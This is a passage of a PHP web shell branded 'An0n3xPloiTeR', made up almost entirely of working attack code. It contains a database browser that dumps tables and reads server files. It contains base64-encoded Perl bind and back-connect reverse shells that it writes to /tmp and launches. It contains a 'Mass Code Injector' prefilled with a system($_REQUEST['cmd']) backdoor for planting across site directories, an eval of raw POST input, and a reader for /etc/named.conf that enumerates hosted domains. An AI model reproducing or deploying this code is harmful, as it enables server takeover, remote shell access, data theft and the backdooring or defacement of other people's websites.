1901 switch($this->type) {
1902 case 'mysql':
1903 if(function_exists('mysql_set_charset'))
1904 return @mysql_set_charset($str, $this->link);
1905 else
1906 $this->query('SET CHARSET '.$str);
1907 break;
1908 case 'pgsql':
1909 return @pg_set_client_encoding($this->link, $str);
1910 break;
1911 }
1912 return false;
1913 }
1914 function loadFile($str) {
1915 switch($this->type) {
1916 case 'mysql':
1917 return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
1918 break;
1919 case 'pgsql':
1920 $this->query("CREATE TABLE An0n3xPloiTeR2(file text);COPY An0n3xPloiTeR2 FROM '".addslashes($str)."';select file from An0n3xPloiTeR2;");
1921 $r=array();
1922 while($i=$this->fetch())
1923 $r[] = $i['file'];
1924 $this->query('drop table An0n3xPloiTeR2');
1925 return array('file'=>implode("\n",$r));
1926 break;
1927 }
1928 return false;
1929 }
1930 function dump($table, $fp = false) {
1931 switch($this->type) {
1932 case 'mysql':
1933 $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
1934 $create = mysql_fetch_array($res);
1935 $sql = $create[1].";\n";
1936 if($fp) fwrite($fp, $sql); else echo($sql);
1937 $this->query('SELECT * FROM `'.$table.'`');
1938 $i = 0;
1939 $head = true;
1940 while($item = $this->fetch()) {
1941 $sql = '';
1942 if($i % 1000 == 0) {
1943 $head = true;
1944 $sql = ";\n\n";
1945 }
1946
1947 $columns = array();
1948 foreach($item as $k=>$v) {
1949 if($v === null)
1950 $item[$k] = "NULL";
1951 elseif(is_int($v))
1952 $item[$k] = $v;
1953 else
1954 $item[$k] = "'".@mysql_real_escape_string($v)."'";
1955 $columns[] = "`".$k."`";
1956 }
1957 if($head) {
1958 $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
1959 $head = false;
1960 } else
1961 $sql .= "\n\t,(".implode(", ", $item).')';
1962 if($fp) fwrite($fp, $sql); else echo($sql);
1963 $i++;
1964 }
1965 if(!$head)
1966 if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
1967 break;
1968 case 'pgsql':
1969 $this->query('SELECT * FROM '.$table);
1970 while($item = $this->fetch()) {
1971 $columns = array();
1972 foreach($item as $k=>$v) {
1973 $item[$k] = "'".addslashes($v)."'";
1974 $columns[] = $k;
1975 }
1976 $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1977 if($fp) fwrite($fp, $sql); else echo($sql);
1978 }
1979 break;
1980 }
1981 return false;
1982 }
1983 };
1984 $db = new DbClass($_POST['type']);
1985 if((@$_POST['p2']=='download') && (@$_POST['p1']!='select')) {
1986 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1987 $db->selectdb($_POST['sql_base']);
1988 switch($_POST['charset']) {
1989 case "Windows-1251": $db->setCharset('cp1251'); break;
1990 case "UTF-8": $db->setCharset('utf8'); break;
1991 case "KOI8-R": $db->setCharset('koi8r'); break;
1992 case "KOI8-U": $db->setCharset('koi8u'); break;
1993 case "cp866": $db->setCharset('cp866'); break;
1994 }
1995 if(empty($_POST['file'])) {
1996 ob_start("ob_gzhandler", 4096);
1997 header("Content-Disposition: attachment; filename=dump.sql");
1998 header("Content-Type: text/plain");
1999 foreach($_POST['tbl'] as $v)
2000 $db->dump($v);
2001 exit;
2002 } elseif($fp = @fopen($_POST['file'], 'w')) {
2003 foreach($_POST['tbl'] as $v)
2004 $db->dump($v, $fp);
2005 fclose($fp);
2006 unset($_POST['p2']);
2007 } else
2008 die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
2009 }
2010 An0n3xPloiTeRHeader();
2011 echo "
2012<center><h1>Sql browser</h1></center><div class=content>
2013<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
2014<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
2015<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
2016<td><select name='type'><option value='mysql' ";
2017 if(@$_POST['type']=='mysql')echo 'selected';
2018echo ">MySql</option><option value='pgsql' ";
2019if(@$_POST['type']=='pgsql')echo 'selected';
2020echo ">PostgreSql</option></select></td>
2021<td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
2022<td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
2023<td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>";
2024 $tmp = "<input type=text name=sql_base value=''>";
2025 if(isset($_POST['sql_host'])){
2026 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
2027 switch($_POST['charset']) {
2028 case "Windows-1251": $db->setCharset('cp1251'); break;
2029 case "UTF-8": $db->setCharset('utf8'); break;
2030 case "KOI8-R": $db->setCharset('koi8r'); break;
2031 case "KOI8-U": $db->setCharset('koi8u'); break;
2032 case "cp866": $db->setCharset('cp866'); break;
2033 }
2034 $db->listDbs();
2035 echo "<select name=sql_base><option value=''></option>";
2036 while($item = $db->fetch()) {
2037 list($key, $value) = each($item);
2038 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
2039 }
2040 echo '</select>';
2041 }
2042 else echo $tmp;
2043 }else
2044 echo $tmp;
2045 echo "</td>
2046 <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
2047 <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
2048 </tr>
2049 </table>
2050 <script>
2051 s_db='".@addslashes($_POST['sql_base'])."';
2052 function fs(f) {
2053 if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
2054 if(f.p1) f.p1.value='';
2055 if(f.p2) f.p2.value='';
2056 if(f.p3) f.p3.value='';
2057 }
2058 }
2059 function st(t,l) {
2060 d.sf.p1.value = 'select';
2061 d.sf.p2.value = t;
2062 if(l && d.sf.p3) d.sf.p3.value = l;
2063 d.sf.submit();
2064 }
2065 function is() {
2066 for(i=0;i<d.sf.elements['tbl[]'].length;++i)
2067 d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
2068 }
2069 </script>";
2070 if(isset($db) && $db->link){
2071 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
2072 if(!empty($_POST['sql_base'])){
2073 $db->selectdb($_POST['sql_base']);
2074 echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
2075 $tbls_res = $db->listTables();
2076 while($item = $db->fetch($tbls_res)) {
2077 list($key, $value) = each($item);
2078 if(!empty($_POST['sql_count']))
2079 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
2080 $value = htmlspecialchars($value);
2081 echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?' ':" <small>({$n['n']})</small>") . "</nobr><br>";
2082 }
2083 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
2084 if(@$_POST['p1'] == 'select') {
2085 $_POST['p1'] = 'query';
2086 $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
2087 $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
2088 $num = $db->fetch();
2089 $pages = ceil($num['n'] / 30);
2090 echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
2091 echo " of $pages";
2092 if($_POST['p3'] > 1)
2093 echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>< Prev</a>";
2094 if($_POST['p3'] < $pages)
2095 echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next ></a>";
2096 $_POST['p3']--;
2097 if($_POST['type']=='pgsql')
2098 $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
2099 else
2100 $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
2101 echo "<br><br>";
2102 }
2103 if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
2104 $db->query(@$_POST['p2']);
2105 if($db->res !== false) {
2106 $title = false;
2107 echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
2108 $line = 1;
2109 while($item = $db->fetch()) {
2110 if(!$title) {
2111 echo '<tr>';
2112 foreach($item as $key => $value)
2113 echo '<th>'.$key.'</th>';
2114 reset($item);
2115 $title=true;
2116 echo '</tr><tr>';
2117 $line = 2;
2118 }
2119 echo '<tr class="l'.$line.'">';
2120 $line = $line==1?2:1;
2121 foreach($item as $key => $value) {
2122 if($value == null)
2123 echo '<td><i>null</i></td>';
2124 else
2125 echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
2126 }
2127 echo '</tr>';
2128 }
2129 echo '</table>';
2130 } else {
2131 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
2132 }
2133 }
2134 echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
2135 if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
2136 echo htmlspecialchars($_POST['p2']);
2137 echo "</textarea><br/><input type=submit value='Execute'>";
2138 echo "</td></tr>";
2139 }
2140 echo "</table></form><br/>";
2141 if($_POST['type']=='mysql') {
2142 $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
2143 if($db->fetch())
2144 echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
2145 }
2146 if(@$_POST['p1'] == 'loadfile') {
2147 $file = $db->loadFile($_POST['p2']);
2148 echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
2149 }
2150 } else {
2151 echo htmlspecialchars($db->error());
2152 }
2153 echo '</div>';
2154 An0n3xPloiTeRFooter();
2155}
2156function actionNetwork() {
2157 An0n3xPloiTeRHeader();
2158 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
2159 $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
2160 echo "<center><h1>Back Connecter Via Perl</h1></center><div class=content>
2161 <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
2162 <span>Bind port to /bin/sh [perl]</span><br/>
2163 Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
2164 </form>
2165 <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
2166 <span>Back-connect [perl]</span><br/>
2167 Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
2168 </form><br>";
2169 if(isset($_POST['p1'])) {
2170 function cf($f,$t) {
2171 $w = @fopen($f,"w") or @function_exists('file_put_contents');
2172 if($w){
2173 @fwrite($w,@base64_decode($t));
2174 @fclose($w);
2175 }
2176 }
2177 if($_POST['p1'] == 'bpp') {
2178 cf("/tmp/bp.pl",$bind_port_p);
2179 $out = An0n3xPloiTeREx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
2180 sleep(1);
2181 echo "<pre class=ml1>$out\n".An0n3xPloiTeREx("ps aux | grep bp.pl")."</pre>";
2182 unlink("/tmp/bp.pl");
2183 }
2184 if($_POST['p1'] == 'bcp') {
2185 cf("/tmp/bc.pl",$back_connect_p);
2186 $out = An0n3xPloiTeREx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
2187 sleep(1);
2188 echo "<pre class=ml1>$out\n".An0n3xPloiTeREx("ps aux | grep bc.pl")."</pre>";
2189 unlink("/tmp/bc.pl");
2190 }
2191 }
2192 echo '</div>';
2193 An0n3xPloiTeRFooter();
2194}
2195
2196function actionInjector(){
2197 An0n3xPloiTeRHeader();
2198 echo '<center><h1>Mass Code Injector</h1></center>';
2199 echo '<div class="content">';
2200
2201 if(stristr(php_uname(),"Windows")) { $DS = "\\"; } else if(stristr(php_uname(),"Linux")) { $DS = '/'; }
2202 function get_structure($path,$depth) {
2203 global $DS;
2204 $res = array();
2205 if(in_array(0, $depth)) { $res[] = $path; }
2206 if(in_array(1, $depth) or in_array(2, $depth) or in_array(3, $depth)) {
2207 $tmp1 = glob($path.$DS.'*',GLOB_ONLYDIR);
2208 if(in_array(1, $depth)) { $res = array_merge($res,$tmp1); }
2209 }
2210 if(in_array(2, $depth) or in_array(3, $depth)) {
2211 $tmp2 = array();
2212 foreach($tmp1 as $t){
2213 $tp2 = glob($t.$DS.'*',GLOB_ONLYDIR);
2214 $tmp2 = array_merge($tmp2, $tp2);
2215 }
2216 if(in_array(2, $depth)) { $res = array_merge($res,$tmp2); }
2217 }
2218 if(in_array(3, $depth)) {
2219 $tmp3 = array();
2220 foreach($tmp2 as $t){
2221 $tp3 = glob($t.$DS.'*',GLOB_ONLYDIR);
2222 $tmp3 = array_merge($tmp3, $tp3);
2223 }
2224 $res = array_merge($res,$tmp3);
2225 }
2226 return $res;
2227 }
2228
2229 if(isset($_POST['submit']) && $_POST['submit']=='Inject') {
2230 $name = $_POST['name'] ? $_POST['name'] : '*';
2231 $type = $_POST['type'] ? $_POST['type'] : 'html';
2232 $path = $_POST['path'] ? $_POST['path'] : getcwd();
2233 $code = $_POST['code'] ? $_POST['code'] : '3xp1r3 Cyber Army';
2234 $mode = $_POST['mode'] ? $_POST['mode'] : 'a';
2235 $depth = sizeof($_POST['depth']) ? $_POST['depth'] : array('0');
2236 $dt = get_structure($path,$depth);
2237 foreach ($dt as $d) {
2238 if($mode == 'a') {
2239 if(file_put_contents($d.$DS.$name.'.'.$type, $code, FILE_APPEND)) {
2240 echo '<div><strong>'.$d.$DS.$name.'.'.$type.'</strong><span style="color:#df5;"> are injected</span></div>';
2241 } else {
2242 echo '<div><span style="color:red;">failed to inject</span> <strong>'.$d.$DS.$name.'.'.$type.'</strong></div>';
2243 }
2244 } else {
2245 if(file_put_contents($d.$DS.$name.'.'.$type, $code)) {
2246 echo '<div><strong>'.$d.$DS.$name.'.'.$type.'</strong><span style="color:#df5;"> are injected</span></div>';
2247 } else {
2248 echo '<div><span style="color:red;">failed to inject</span> <strong>'.$d.$DS.$name.'.'.$type.'</strong></div>';
2249 }
2250 }
2251 }
2252 } else {
2253 echo '<form method="post" action="">
2254 <table align="center">
2255 <tr>
2256 <td>Directory : </td>
2257 <td><input class="box" name="path" value="'.getcwd().'" size="50"/></td>
2258 </tr>
2259 <tr>
2260 <td class="title">Mode : </td>
2261 <td>
2262 <select style="width: 100px;" name="mode" class="box">
2263 <option value="a">Apender</option>
2264 <option value="w">Overwriter</option>
2265 </select>
2266 </td>
2267 </tr>
2268 <tr>
2269 <td class="title">File Name & Type : </td>
2270 <td>
2271 <input type="text" style="width: 100px;" name="name" value="index"/>
2272 <select style="width: 100px;" name="type" class="box">
2273 <option value="html">HTML</option>
2274 <option value="htm">HTM</option>
2275 <option value="php" selected="selected">PHP</option>
2276 <option value="asp">ASP</option>
2277 <option value="aspx">ASPX</option>
2278 <option value="xml">XML</option>
2279 <option value="txt">TXT</option>
2280 </select></td>
2281 </tr>
2282 <tr>
2283 <td class="title">Code Inject Depth : </td>
2284 <td>
2285 <input type="checkbox" name="depth[]" value="0" checked="checked"/> 0
2286 <input type="checkbox" name="depth[]" value="1"/> 1
2287 <input type="checkbox" name="depth[]" value="2"/> 2
2288 <input type="checkbox" name="depth[]" value="3"/> 3
2289 </td>
2290 </tr>
2291 <tr>
2292 <td colspan="2"><textarea name="code" cols="70" rows="10" class="box"><?php
2293if (isset($_REQUEST["cmd"])) {
2294 system($_REQUEST["cmd"]);
2295}
2296?></textarea></td>
2297 </tr>
2298 <tr>
2299 <td colspan="2" style="text-align: center;">
2300 <input type="hidden" name="a" value="Injector">
2301 <input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
2302 <input type="hidden" name="p1">
2303 <input type="hidden" name="p2">
2304 <input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
2305 <input style="padding :5px; width:100px;" name="submit" type="submit" value="Inject"/></td>
2306 </tr>
2307 </table>
2308 </form>';
2309 }
2310 echo '</div>';
2311 An0n3xPloiTeRFooter();
2312}
2313
2314function actionRC() {
2315 if(!@$_POST['p1']) {
2316 $a = array(
2317 "uname" => php_uname(),
2318 "php_version" => phpversion(),
2319 "An0n3xPloiTeR_version" => An0n3xPloiTeR_VERSION,
2320 "safemode" => @ini_get('safe_mode')
2321 );
2322 echo serialize($a);
2323 } else {
2324 eval($_POST['p1']);
2325 }
2326}
2327
2328function actionDomain() {
2329 An0n3xPloiTeRHeader();
2330
2331echo '<center><h1>Local Domains</h1></center><div class=content><br>';
2332$file = @implode(@file("/etc/named.conf"));
2333$Domain_path = "/var/named";
2334
2335if (!$file) {
2336$domains = scandir($Domain_path);
2337$count=1;
2338$dc = 0;
2339 echo "<table align=center border=1 width=59% cellpadding=5>
2340<tr><td colspan=2><center>There are : ( <b>" . count($domains) . "</b> ) Domains in this Sever.</center></td></tr>
2341<tr><td>No</td><td>Domain</td><td>User</td></tr>";
2342foreach ($domains as &$domain) {
2343 if (stripos($domain,".db")) {
2344 $domain = str_replace('.db','',$domain);
2345
2346 }
2347 if (strlen($domain) > 6) {
2348
2349 echo "<tr><td>".$count++."</td><td><a href='http://".$domain."' target='_blank'>".$domain."</a></td><td>User</td></tr>";
2350
2351
2352 }
2353
2354 }
2355 echo "</table>";
2356}else{
2357 $count = 1;
2358 preg_match_all("#named/(.*?).db#", $file, $r);
2359 $domains = array_unique($r[1]);
2360 echo "<table align=center border=1 width=59% cellpadding=5>
2361<tr><td colspan=2> There are ( <b>" . count($domains) . "</b> ) Domains in this Sever.I think you have got something this time yeah!!!.</td></tr>
2362<tr><td>No</td><td>Domain</td><td>User</td></tr>";
2363 foreach ($domains as $domain) {
2364
2365 $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
2366 echo "<tr><td>".$count++."</td><td><a href='http://".$domain."' target='_blank'>".$domain."</a></td><td>".$user['name']."</td></tr>";
2367 }
2368}
2369
2370 An0n3xPloiTeRFooter();
2371 }
2372
2373if( empty($_POST['a']) )
2374 if(isset($default_action) && function_exists('action' . $default_action))
2375 $_POST['a'] = $default_action;
2376 else
2377 $_POST['a'] = 'SecInfo';
2378if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
2379 call_user_func('action' . $_POST['a']);
2380exit;
2381?>